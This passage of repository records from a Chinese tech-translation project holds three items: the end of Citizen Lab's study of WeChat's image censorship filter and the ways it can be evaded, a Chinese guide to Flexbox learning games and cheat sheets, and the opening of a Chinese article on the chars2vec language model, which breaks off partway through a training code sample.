invariant](https://en.wikipedia.org/wiki/Translation_invariance).\n\n[![](https://citizenlab.ca/wp-content/uploads/2018/08/F33_1-300x300.png)](https://citizenlab.ca/wp-content/uploads/2018/08/F33_1.png)[![](https://citizenlab.ca/wp-content/uploads/2018/08/F33_2-300x300.png)](https://citizenlab.ca/wp-content/uploads/2018/08/F33_2.png)\n\n> Figure 12: The three images on the left are filtered demonstrating the WeChat filter’s translational invariance. However, the three images on the right are not filtered because they make the tall image wider, affecting its smallest dimension.\n\n[![](https://citizenlab.ca/wp-content/uploads/2018/08/F34_1-MK-1.png)](https://citizenlab.ca/wp-content/uploads/2018/08/F34_1-MK-1.png)\n\n> Figure 13: Examples of images filtered due to the WeChat filter’s translational invariance.\n\nWe took images from the previous experiment and experimented with increasing their canvas size and moving the image proper around inside of a larger, blank canvas (see Figures 12 and 13). We found that so long as we did not change the size of the image’s smallest dimension, the image proper could be moved anywhere inside of the extended canvas and still not be censored.\n\n[![](https://citizenlab.ca/wp-content/uploads/2018/08/F35_1-MK.png)](https://citizenlab.ca/wp-content/uploads/2018/08/F35_1-MK.png)\n\n> Figure 14: For a square image where its width is equal to its height, adding space to either dimension will not evade filtering regardless of where the image is located.\n\nNote that in a tall or wide image, we can only add space to one of its dimensions for it to still be filtered. For a square image, we can add space to either side, but only in one dimension at a time (see Figure 14). However, if we add extra space to both, its scale will be modified after it is resized by WeChat’s filtering algorithm.\n\n[![](https://citizenlab.ca/wp-content/uploads/2018/08/F36_1-MK.png)](https://citizenlab.ca/wp-content/uploads/2018/08/F36_1-MK.png)\n\n> Figure 15: (a), an image encoded to JPEG by WeChat that evaded filtering, and (b), that image with the extended canvas cropped off that also evaded filtering. (c), an image encoded to PNG by WeChat that was filtered, and (d), that image with the extended canvas cropped off that was also filtered. At a glance, both (b) and (d) look surprisingly similar, but (b) has more JPEG compression artifacts.\n\nWe came across some apparent exceptions to the WeChat algorithm’s translational invariance that we found could ultimately be explained by WeChat’s compression algorithm. Some images where we extended the canvas with blank space evaded filtering (see Figure 15). However, we found that this may actually be due to the WeChat server’s compression of the images. We found that, after posing these images, when we downloaded them using another WeChat user and examined them, they were encoded in JPEG, a lossy compression algorithm that decreases the size needed to represent the image by partially reducing the quality of that image. We found that when we took this image as it was encoded by WeChat’s servers and cropped off the extended canvas and posted it onto WeChat, it still evaded filtering, suggesting that it is WeChat’s compression and not the extension of the canvas per se that caused the image to evade filtering. We found that WeChat increased its compression of images for larger images, likely to try to keep larger images from taking up more space. Thus, by extending the size of the canvas, we increased the compression of the original image, causing it to evade filtering.\n\nWe found that not all images were JPEG compressed when downloaded by another client. Rarely, images would be downloaded in PNG, a lossless compression algorithm that reduces image size by accounting for redundancies in an image but never by reducing the image’s quality. In this case, we found that the PNG image another WeChat client downloaded was pixel-for-pixel identical to the one that we had originally uploaded. We found that such images were always filtered, further suggesting that WeChat’s own compression was affecting its filtering behavior in other images. Unfortunately, we were unable to determine why WeChat would compress a posted image as JPEG or PNG, as this behavior was both rare and nondeterministic. That is, often even if we uploaded an image that had previously been observed to have been encoded to PNG, it would often be encoded to JPEG in subsequent uploads. This nondeterministic compression behavior would also explain why we would occasionally observe nondeterministic filtering behavior on WeChat.\n\n|    |    |    |    |    |\n| -- | -- | -- | -- | -- |\n| (a) | (b) | (c) | (d) | (e) |\n| [![](https://citizenlab.ca/wp-content/uploads/2018/08/f37-1-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f37-1.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f37-2-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f37-2.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f37-3-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f37-3.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f37-4-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f37-4.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f37-5-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f37-5.png) |\n\n> Table 38: (a), the original image. (b), that image thresholded and pixelated to 16×16 blocks. (c), (d), and (e) show compression artifacts by colouring pure black as orange, pure white as green, leaving the off-white and off-black colours unchanged. (c) is the result of WeChat’s compression. (d) is the result of WebP compression at quality 42, visually similar to (c). (e) is the result of either PNG or JPEG compression, as PNG is losslessly compressed and JPEG uses no interblock compression.\n\nWe found that the images downloaded in JPEG appeared to have been also previously compressed using a different compression algorithm. We determined this by creating an image made entirely of 16×16 pixel blocks of purely black or white (see Table 38 (a) and (b)). Even though JPEG is a lossy algorithm, it independently compresses 8×8 pixel blocks (i.e., there is no inter-block compression between blocks). However, we observed the images having been compressed by a 16×16 block compression algorithm that utilizes information from surrounding blocks. The new [WebP](https://en.wikipedia.org/wiki/WebP) image compression algorithm from Google is consistent with these findings, as were the compression artifacts (see Table 38 (c), (d), and (e)). Moreover, we found that WeChat supported posting WebP images, which further suggests that they may be using it to encode uploaded images as well.\n\nDespite having some initial difficulty controlling for the effects of WeChat’s image compression on posted images, we generally found that WeChat’s filtering algorithm is invariant to translation. There are a number of different methods that could account for finding an image inside of another, especially since the algorithm is not invariant to changes in scale. WeChat’s filtering algorithm could be centering images according to their centre of mass before comparing them. The filter could be using [cross-correlation](https://en.wikipedia.org/wiki/Cross-correlation) or [phase correlation](https://en.wikipedia.org/wiki/Phase_correlation) to compare the images accounting for differences in their alignments (i.e., their translational difference). WeChat’s filtering algorithm could also be using a sliding window approach such as with [template matching](https://en.wikipedia.org/wiki/Template_matching), or it may be using a [convolutional neural network](https://en.wikipedia.org/wiki/Convolutional_neural_network), a neural network that does not require a sliding window to implement but that has similar functionality. We initially found the translational invariance of WeChat’s algorithm surprising given that it was not invariant to other transformations such as mirroring or rotation, but the use of any one of the methods enumerated in this paragraph would provide translational invariance without necessarily providing invariance to mirroring or rotation. In the next section, we will try to eliminate some of these methods as possibilities by testing what happens if we replace the blank canvas space that we have been using to extend image with complex patterns.\n\n#### Sliding window\n\nIn the previous section, we tested for translational invariance by extending the canvas with blank space. What if the added content is not blank? In this section we are concerned with whether the algorithm is not simply translationally invariant but whether it can find an image inside of another image regardless of the surrounding contents.\n\n[![](https://citizenlab.ca/wp-content/uploads/2018/08/f38-1.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f38-1.png)\n\n[![](https://citizenlab.ca/wp-content/uploads/2018/08/f38-2.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f38-2.png)\n\n> Figure 16: Above, an image extended with i = 2 blank canvases. Below, an image extended with i = 2 duplicates of itself.\n\nGiven our findings about WeChat’s compression affecting filtering results in the previous section, we carefully designed our experiment. Taking our five wide and five tall images, we extended their canvas in their largest dimension on both sides by _i_ ⋅ _n_, for a total of 2 ⋅ _i_ ⋅ _n_ overall, for each _i_ in {1, 2, …, 5}, where _n_ is the size of the largest dimension. We then created equivalently sized images that were not blank. Since many image operations such as thresholding and edge detection are sensitive to the distribution of pixel intensities in an image, and others such as moment invariants are sensitive to changes in centre of mass, to control for these variables, we filled each blank area by a duplicate copy of the image itself so that these variables are not affected (see Figure 16). To account for WeChat’s compression, for any image we generated, if it evades filtering, we download the image and analyze it. If the centre image inside of it (the only one in the case of a blank extended canvas or the one in the middle in the case of where the image is duplicated) are no longer filtered when uploaded on their own, then we discard all results from any images derived from that original wide or tall image.\n\n[![](https://citizenlab.ca/wp-content/uploads/2018/08/Table_17.png)](https://citizenlab.ca/wp-content/uploads/2018/08/Table_17.png)\n\n> Table 39: After testing a wide or tall image by either extending it by i-many blank canvas or i-many image duplicates, was it still filtered? Y = Yes, N = No, C = No due to compression artifacts. With one exception, all images extended with blankness were either filtered or evaded filtering due to compression artifacts, whereas when extending an image with duplicates of itself, none of the filtering evasion can be explained by compression artifacts.\n\nOur results are given in Table 39. We found that images extended with their own duplicates evaded filtering after a sufficiently large number of images were added, and none of these evasions could be explained by image compression. Conversely, in all but one test, images extended with blank canvases were either filtered or their evasion could be explained by image compression.\n\nThese results suggest that, even when we add additional contents to an uploaded image such that neither the distribution of intensities of the image nor its centre of mass change, these contents affect the ability of WeChat to recognize the uploaded image as sensitive. This suggests that WeChat may not use a sliding window approach that ignores contents outside of that window to compare images. Instead, the images appear to be compared as a whole and that adding complex patterns outside of a blacklisted image can evade filtering.\n\n#### Perceptual hashing\n\nUnlike cryptographic hashing, where small changes are designed to produce large changes to the hash, perceptual hashing is a technique to reduce an image to a hash such that similar images have either [equal](https://ieeexplore.ieee.org/abstract/document/1421855/) or [similar](http://phash.org/) hashes to facilitate efficient comparison. It is [used by many social media companies such as Facebook, Microsoft, Twitter and YouTube](https://newsroom.fb.com/news/2016/12/partnering-to-help-curb-spread-of-online-terrorist-content/) to filter illegal content.\n\nAs we suggested in the section on edge detection, a frequency-based approach would explain the visual-based filter’s sensitivity to edges; however, such an approach can also be used to achieve a hash exhibiting translational invariance. The popular open source implementation [pHash](http://phash.org/) computes a hash using the discrete cosine transform, which is not translationally invariant. However, an alternative spectral computation that would exhibit translational invariance would be to calculate the image’s amplitude spectrum by computing the absolute magnitude of the discrete [Fourier transform](https://en.wikipedia.org/wiki/Fourier_transform) of the image, as [translation only affects the phase, not the magnitude](https://en.wikipedia.org/wiki/Fourier_transform#Basic_properties), of the image’s frequencies. The use of a hash based on this computation would be consistent with our findings, but more work is needed to test if this technique is used.\n\n## Conclusion\n\nIn analyzing both the OCR-based and visual-based filtering techniques implemented by WeChat, we discovered both strengths in the filter as well as weaknesses. An effective evasion strategy against an image filter modifies a sensitive image so that it (1) no longer resembles a blacklisted image to the filter but (2) still resembles a blacklisted image to people reading it.\n\nThe OCR-based algorithm was generally able to read text of varying legibility and in a variety of environments. However, due to the way it was implemented, we found two ways to evade filtering:\n\n*   By hiding text in the hue of an image, since the OCR filter converts images to grayscale.\n*   By hiding text using a large amount of blobs, since the OCR filter performs blob merging.\n\nSimilarly, the visual-based algorithm was able to match sensitive images to those on a blacklist under a variety of conditions. The algorithm had translational invariance. Moreover, it detected images even after their brightness or contrast had been altered, after their colours had been inverted, and after they had been thresholded to only two colours. However, due to the way it was implemented, we found multiple ways to evade filtering:\n\n*   By mirroring or rotating the image, since the filter has no high level semantic understanding of uploaded images. However, many images lose meaning when mirrored or rotated, particularly images that contain text which may be rendered illegible.\n*   By changing the aspect ratio of an image, such as by stretching the image wider or taller. However, this may make objects in images look out of proportion.\n*   By blurring the photo, since edges appear important to the filter. However, while edges are important to WeChat’s filter, they are often perceptually important for people too.\n*   By adding a sufficiently large border to the smallest dimensions of an image, or to both the smallest and largest dimensions, particularly if both dimensions are of equal or similar size.\n*   By adding a large border to the largest dimensions of an image and adding a sufficiently complex pattern to it.\n\nIn this work we present experiments uncovering implementation details of WeChat’s image filter that inform multiple effective evasion strategies. While the focus of this work has been WeChat, due to common implementation details between image filtering implementations, we hope that our methods will serve as a road map for future research studying image censorship on other platforms.\n\n## Acknowledgments\n\nWe would like to thank Lex Gill for research assistance. We would also like to extend thanks to Jakub Dalek, Adam Senft, and Miles Kenyon for peer review. This research was supported by the Open Society Foundations.\n\nImage testing data and source code is available [here](https://github.com/citizenlab/chat-censorship/tree/master/wechat/image-filtering).\n\n> * 上一篇：[(CAN’T) PICTURE THIS: An Analysis of Image Filtering on WeChat Moments — Part 3](https://github.com/xitu/gold-miner/blob/master/TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-3.md)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/ces-learn-css-layout-part-1-flexbox.md",
    "content": "> * 原文地址：[Fun places to learn CSS Layout –  Part 1: Flexbox](https://stephaniewalter.design/blog/fun-places-learn-css-layout-part-1-flexbox/)\n> * 原文作者：[Stéphanie](https://stephaniewalter.design)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/ces-learn-css-layout-part-1-flexbox.md](https://github.com/xitu/gold-miner/blob/master/TODO1/ces-learn-css-layout-part-1-flexbox.md)\n> * 译者：[MarchYuanx](https://github.com/MarchYuanx)\n> * 校对者：[sleepingxixi](https://github.com/sleepingxixi), [Stevens1995](https://github.com/Stevens1995)\n\n# 趣味学习 CSS 布局 —— 第一部分：弹性布局\n\n![](https://stephaniewalter.design/wp-content/uploads/2017/05/flexboxfun.jpg)\n\n> 这个内容已经是 2 年前的了。请记住，以下内容可能已过时。\n\n在我开始学习 CSS 时，一切都是关于用浮动、绝对定位与相对定位实现你想要做的事。今天，我们有了很棒的新工具来创建布局：[弹性布局](https://www.w3.org/TR/css-flexbox-1/)和[网格布局](https://www.w3.org/TR/css3-grid-layout/)。如果你忽略 IE9 以及更早的版本，则 Flexbox [几乎在任何地方都受到很好的支持](http://caniuse.com/#feat=css-grid)，可用于创建灵活且可扩展的布局。目前，网格布局[并非在任何地方都受到支持](http://caniuse.com/#feat=css-grid)，但是如果您正在寻找一种构建复杂而通用的响应式网格的方法，那还是很有希望的。\n\n掌握这两个模块可能有些棘手。幸运的是，一些很棒的人制作了许多有趣的工具来帮助你学习并掌握这些它们，所以当它们被各处支持时你也准备好了。\n\n**这是帮助您学习 CSS 布局的可能性系列的第一篇文章，今天我们将专注于学习[弹性布局](https://www.w3.org/TR/css-flexbox-1/)。**  \n**如果你要查找本文的法文版本，可以查看 “[Apprendre le positionnement en s’amusant – Partie 1 : Flexbox](https://www.creativejuiz.fr/blog/css-css3/apprendre-positionnement-flexbox-s-amusant)“**\n\n## 学习弹性布局的小游戏\n\n### [Flexbox Froggy 小游戏](http://flexboxfroggy.com/)\n\nFlexbox Froggy 是一款有趣的小游戏。您需要使用不同的弹性布局属性将可爱的小青蛙带到睡莲。([Thomas H. Park](https://twitter.com/thomashpark) 制作)\n\n![Flexbox Froggy 小游戏](https://stephaniewalter.design/wp-content/uploads/2017/05/learn-flexbox-1-1040x734.png)\n\n### [Flexbox defense 小游戏](http://www.flexboxdefense.com/)\n\nFlexbox defense 是一款小游戏，您将在其中使用弹性布局阻止传入的敌人越过防线。([Channing Allen](https://twitter.com/ChanningAllen) 制作)\n\n![Flexbox defense 小游戏](https://stephaniewalter.design/wp-content/uploads/2017/05/learn-flexbox-2-1040x734.png)\n\n## 弹性布局可视化实验面板\n\n有时最好的学习方法是自己做实验。这里有一些可视的弹性布局实验面板，您可以在这里探索和解构东西，以更好地理解语法。\n\n### [CSS3 弹性布局的视觉指南](https://demos.scotch.io/visual-guide-to-css3-flexbox-flexbox-playground/demos/)\n\n添加、移除和定位子元素，并测试您在布局中所有要用到的弹性布局属性。([Dimitar Stojanov](https://twitter.com/justd100) 制作)\n\n![Yoksel 的弹性布局备忘单](https://stephaniewalter.design/wp-content/uploads/2017/05/learn-flexbox-5-1040x734.png)\n\n### [弹性布局实验面板](http://codepen.io/enxaneta/full/adLPwv/)\n\n在这个由 [Gabi](https://twitter.com/w3unpocodetodo) 制作的 codepen 实验面板上，你将能够测试不同的弹性布局属性，并使用它们的值来观察结果。\n\n![弹性布局实验面板](https://stephaniewalter.design/wp-content/uploads/2017/05/learn-flexbox-7-1040x734.png)\n\n### [Flexplorer](http://bennettfeely.com/flexplorer/)\n\n在另一个由 [Bennett Feely](https://twitter.com/bennettfeely) 制作的小型可视化实验面板中，您可以进行测试并使用不同的属性来探索弹性布局 CSS 模块的可能性。\n\n![Flexplorer](https://stephaniewalter.design/wp-content/uploads/2017/05/learn-flexbox-11-1040x734.png)\n\n## 弹性布局可以帮助您实现什么\n\n### [弹性布局的解决方案](https://philipwalton.github.io/solved-by-flexbox/)\n\n在弹性布局之前，垂直居中曾是一个噩梦，这个站点将向您展示一些现在使用弹性布局可以轻松解决的技巧。([Phil Walton](https://twitter.com/philwalton) 制作)\n\n![弹性布局的解决方案](https://stephaniewalter.design/wp-content/uploads/2017/05/learn-flexbox-9-1040x734.png)\n\n### [弹性布局模式](http://www.flexboxpatterns.com/home)\n\n弹性布局用来构建布局很好，但是像标签或卡片这样更复杂的模式呢？弹性布局模式可以满足您的需求。([CJ Cenizal](https://twitter.com/thecjcenizal) 制作)\n\n![弹性布局的解决方案](https://stephaniewalter.design/wp-content/uploads/2017/05/learn-flexbox-8-1040x734.png)\n\n## 弹性布局备忘单\n\n弹性布局的语法并不总是那么容易，这里有一些备忘单可以帮助您记住不同的属性和值。\n\n### [弹性布局的 CSS 技巧指南](https://css-tricks.com/snippets/css/a-guide-to-flexbox/)\n\n![弹性布局的 CSS 技巧指南](https://stephaniewalter.design/wp-content/uploads/2017/05/learn-flexbox-3-1040x734.png)\n\n### [Joni Bologna 的丰富的弹性布局备忘单](http://jonibologna.com/flexbox-cheatsheet/)\n\n![Joni Bologna 的丰富的弹性布局备忘单](https://stephaniewalter.design/wp-content/uploads/2017/05/learn-flexbox-4-1040x734.png)\n\n### [Yoksel 的弹性布局备忘单](http://yoksel.github.io/flex-cheatsheet/)\n\n![Yoksel 的弹性布局备忘单](https://stephaniewalter.design/wp-content/uploads/2017/05/learn-flexbox-6-1040x734.png)\n\n## 需要更多的帮助？\n\n[Wes Boss 创建了 20 个免费视频](https://flexbox.io/#/)帮助您学习弹性布局，并且您也可以查看这篇文章[用一些 gif 动画解释弹性布局](https://medium.freecodecamp.com/an-animated-guide-to-flexbox-d280cf6afc35)。  \n这是针对弹性布局的，稍后请参见第二部分网格布局。\n\n您是否正在为网站或移动应用程序寻找 UX 或 UI 设计师？如果您想邀请我参加您的会议，或只是想了解更多关于我的信息？您可以查看[我的作品](https://stephaniewalter.design/#work)、[与我联系](#contact)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/chars2vec-character-based-language-model-for-handling-real-world-texts-with-spelling-errors-and.md",
    "content": "> * 原文地址：[Chars2vec: character-based language model for handling real world texts with spelling errors and…](https://hackernoon.com/chars2vec-character-based-language-model-for-handling-real-world-texts-with-spelling-errors-and-a3e4053a147d)\n> * 原文作者：[Intuition Engineering](https://medium.com/@intuition.engin)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/chars2vec-character-based-language-model-for-handling-real-world-texts-with-spelling-errors-and.md](https://github.com/xitu/gold-miner/blob/master/TODO1/chars2vec-character-based-language-model-for-handling-real-world-texts-with-spelling-errors-and.md)\n> * 译者：[kasheemlew](https://github.com/kasheemlew)\n> * 校对者：[xionglong58](https://github.com/xionglong58), [lsvih](https://github.com/lsvih)\n\n# Chars2vec：基于字符实现的可用于处理现实世界中包含拼写错误和俚语的语言模型\n\n![](https://cdn-images-1.medium.com/max/9094/1*kAvyOmNO4q1PAa-qEyrc5g.jpeg)\n\n这篇论文介绍了我们开源的基于字符的语言模型 [**chars2vec**](https://github.com/IntuitionEngineeringTeam/chars2vec)。这个模型使用 Keras 库（TensorFlow 后端）开发，现在已经可以在 Python 2.7 和 3.0+ 中使用。\n\n## 引言\n\n创建并使用词嵌入是完成大多数 NLP 任务的主流方法。每个词都对应着一个数值向量，当文本中出现这个词的时候就会用上它的数值向量。有些**简单的模型会使用 one-hot 词嵌入，也可能使用随机向量或整数来对词进行初始化**。这类模型的缺点很明显——这种将对词进行向量化的方式不能表示词之间任何的语义联系。\n\n还有**另外一种称为语义化的语言模型，它们根据仿射嵌入向量对有词义关联的词进行排序**。事实上，这些模型表示了不同单词的上下文邻近性：这些模型使用诸如百科全书、新闻、文学作品之类的拥有大量文本的语料库进行训练。这样训练使得出现在相似上下文中的词都得以用临近的向量表示。经典的语义化语言模型包括 [Word2Vec](https://www.tensorflow.org/tutorials/representation/word2vec) 和 [GloVe](https://nlp.stanford.edu/projects/glove/)。更加前沿的语义化语言模型（[ULMFiT](https://arxiv.org/abs/1801.06146)，[ELMo](https://allennlp.org/elmo)）基于循环神经网络（RNNs）和其他神经网络体系结构。\n\n语义化的模型包含从大量语料上学得的词义相关的信息，但是它们需要与固定的词汇搭配（通常会遗漏一些生僻词）。这对于 NLP 问题来说是个严重的缺陷。**如果语义化语言模型的词汇表里缺少一段文本中很多的单词，那么它在处理某些 NLP 任务时效率就不会高——这个模型将不能够解释那些缺少的单词**。这种情况可能出现在处理人类编写的文本（例如回复、评论、申请书、文档或者网上的帖子）的时候。这些文本可能包含一些俚语、特殊领域的生僻词或者是词汇表中没有的人名，所以语义化的模型中也不会出现这些词。排印错误也会创造出一些不存在于任何词嵌入中的“新”词。\n\n比如使用 [MovieLens](https://grouplens.org/datasets/movielens/) 的数据搭建电影推荐系统时，在处理用户评论的过程中这个问题就很明显。用户的评论中经常会出现 “like Tarantino” 这个短语；他们有时会把导演的姓 “Tarantino” 弄错，从而创造出 “Taratino”、“Torantino”、“Tarrantino” 等“新”词。如果能从用户的评论中提取出 “Tarantino” 这个特征的话，就能够显著改善电影的相关性度量和推荐质量，提取出具体姓氏或者拼写错误等词汇表中没有的词所表示的特征也能达到同样的效果。\n\n> 为了解决这个问题，前文提到过，我们需要使用一个能够创建出词嵌入的语言模型，创建过程完全根据拼写，并且将向量根据其表示的词之间的相似性排序。\n\n## 关于 chars2vec 模型\n\n我们根据单词的符号嵌入开发了 chars2vec 这个语言模型。**这个模型将一段任意长度的符号序列用一个固定长度的向量表示出来，单词之间拼写的相似性则通过向量间的距离度量表示。**这个模型不基于某个词典（它没有储存单词与对应向量表示所组成的固定词典），因此它在创建和使用的过程中并不需要大量的计算资源。使用 pip 就可以安装 Chars2vec 库：\n\n```\n>>> pip install chars2vec\n```\n\n下面的代码创建了 chars2vec 词嵌入（50 维) 并使用 PCA 将这些词嵌入向量映射到了一个平面上，最后我们会得到一张可以描述这个模型的几何意义图片：\n\n```python\nimport chars2vec\nimport sklearn.decomposition\nimport matplotlib.pyplot as plt\n\n# 加载 Inutition Engineering 预训练的模型\n# 模型的名字：'eng_50', 'eng_100', 'eng_150' 'eng_200', 'eng_300'\nc2v_model = chars2vec.load_model('eng_50')\n\nwords = ['Natural', 'Language', 'Understanding',\n         'Naturael', 'Longuge', 'Updderctundjing',\n         'Motural', 'Lamnguoge', 'Understaating',\n         'Naturrow', 'Laguage', 'Unddertandink',\n         'Nattural', 'Languagge', 'Umderstoneding']\n\n# 创建词嵌入\nword_embeddings = c2v_model.vectorize_words(words)\n\n# 使用 PCA 将词嵌入映射到平面上\nprojection_2d = sklearn.decomposition.PCA(n_components=2).fit_transform(word_embeddings)\n\n# 在平面上写字\nf = plt.figure(figsize=(8, 6))\n\nfor j in range(len(projection_2d)):\n    plt.scatter(projection_2d[j, 0], projection_2d[j, 1],\n                marker=('$' + words[j] + '$'),\n                s=500 * len(words[j]), label=j,\n                facecolors='green' if words[j] \n                           in ['Natural', 'Language', 'Understanding'] else 'black')\n\nplt.show()\n```\n\n执行这段代码将会生成下面这张图片：\n\n![](https://cdn-images-1.medium.com/max/3200/1*gjqy3VkVQK51BXsI7qOv4A.png)\n\n我们可以看到，尽管这个模型基于一个接受单词的符号序列的循环神经网络，而不是去分析一个单词中某些字母或者某种模式的出现情况，拼写相似的词的表示向量仍是临近的。单词拼写中出现的增添、删减或者替换越多，它的词嵌入就会离原始词越远。\n\n## 基于字符模型的应用\n\n在字符层面上分析文本的想法并不新鲜——已经有一些模型对符号创建词嵌入，然后通过平均过程创建符号词嵌入。平均过程是这种方法的瓶颈——这种模型一定程度上解决了上面提到的问题，但不幸的是，它们还不够完美。如果想要编码一些除了事实之外的关于符号相对位置和符号模式的信息，我们还需要进行更多的训练，这样才能从符号嵌入向量中找出每个词嵌入的正确形式。\n\n[karpathy/char-rnn](https://github.com/karpathy/char-rnn) 是最早在字符级处理文本的 NLP 模型之一。它通过输入文本训练了一个循环神经网络（RNN），给定一段字符序列就能够预测下一个符号。[Character-Level Deep Learning in Sentiment Analysis](https://offbit.github.io/how-to-read/) 也是基于 RNN 的字符级语言模型。有时，我们会用卷积神经网络（CNNs）处理字符序列，请查阅 [Character-Aware Neural Language Models](https://arxiv.org/pdf/1508.06615v4.pdf)；[Character-level Convolutional Networks for Text Classification](https://arxiv.org/pdf/1509.01626.pdf) 这篇论文也是一个使用 CNN 进行文本分类的例子。\n\nFacebook 的 [fastText](https://github.com/facebookresearch/fastText) 库中实现的模型是基于字符的语言模型的典范。fastText 模型会创建符号词嵌入，然后基于符号表示来解决文本分类的问题。这种技术基于对多种 n 元语法生成词的分析，而不依赖于 RNN，避免了模型对于排印错误和拼写错误过于敏感的问题，也就不会对 n 元语法生成词的范围造成太大的影响。不过这个模型提供了语言词汇表中缺失的单词对应的词嵌入。\n\n## 模型结构\n\n每个 chars2vec 模型都有一个固定的字符表，用于单词的向量化：每当列表中的一个字符出现在文本中的时候，表示这个字符的 one-hot 向量就会被反馈给模型；向量化的过程中会忽略掉列表中没有的字符。我们训练的模型主要用来处理英文文本；这些模型使用的列表包括了常用的 ASCII 字符——所有的英文字母、数字和常用的标点符号：\n\n```python\n['!', '\"', '#', '$', '%', '&', \"'\", '(', ')', '*', '+', ',', '-', '.',\n '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<',\n '=', '>', '?', '@', '_', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i',\n 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w',\n 'x', 'y', 'z']\n```\n\n该模型对大小写不敏感，所有的符号都统一转换成小写形式。\n\nChars2vec 通过基于 TensorFlow 的 Keras 库实现。创建词嵌入的神经网络结构如下：\n\n![](https://cdn-images-1.medium.com/max/2000/1*YpwI_8WVXJ329bUyqmC6eQ.jpeg)\n\n一个任意长度的 one-hot 向量序列表示一个词中的字符序列，经过两个 LSTM 层处理之后，会输出这个词的嵌入向量。\n\n为了训练好模型，我们要使用一个包含 chars2vec 的扩展神经网络。更准确地说，我们的神经网络需要将两个 one-hot 向量序列作为输入，它们分别代表着不同的词，其次这个神经网络会使用一个 chars2vec 创建出它们所对应的词嵌入，然后计算出这些嵌入向量差值的范数，最后将这个结果反馈给网络最后一层的 sigmoid 激活函数。这个神经网络的输出范围是 0 到 1。\n\n![](https://cdn-images-1.medium.com/max/2000/1*0aX4CoKeFrOcVjlC88Tc3w.jpeg)\n\n这个扩展神经网络使用一对词进行训练，在训练样本中，一对“相似”的词被标记为 0 值，而“不相似”的值则被标记为 1。事实上，我们所定义的“相似性”这个标准是将一个词变形为另一个词所需要替换、增加、删减的字符的数量。这也造就了我们获取数据的方式——我们对大量的词进行多种修改，创建出一个新的词集。通过修改原词得到的词集的子集本质上和原词是相似的，这样的单词对会被标记为 0。从不同子集中选出的单词显然有更多不同点，所以会被标记为 1。\n\n初始词集的大小、子集中词的数量、对词进行变形最大次数决定了模型的训练结果和模型向量化的稳定性。最优的参数应该根据给定的语言和任务进行选择。另一个重点是保持整个训练集的均衡（我们应该协调好这两个方面）。\n\n扩展神经网络的第二个部分只有一条边，训练过程中可以调整它的权重；这部分网络将单调函数应用到对嵌入向量差范数。训练集限制了这第二个部分只能对“相似的”词对输出 0，对“不相似的”词对输出 1，所以在训练这个扩展模型的时候，内层的 chars2vec 模型将学会为“相似的”词对构建临近的嵌入向量，为“不相似的”词对构建远离的嵌入向量。\n\n我们在词嵌入维度分别为 50、100、150、200 和 300 情况下的英语中训练了 chars2vec 模型。[仓库](https://github.com/IntuitionEngineeringTeam/chars2vec)中已经上传了项目源码以及训练和使用模型的例子（我们还在数据集上训练了一个适用于另一种语言的模型）。\n\n## 训练你自己的 chars2vec 模型\n\n下面的代码段展示了如何训练一个自己的 chars2vec 模型实例。\n\n```python\nimport chars2vec\n\ndim = 50\n\npath_to_model = 'path/to/model/directory'\n\nX_train = [('mecbanizing', 'mechanizing'), # 相似词，目标为 0\n           ('dicovery', 'dis7overy'), # 相似词，目标为 0\n           ('prot$oplasmatic', 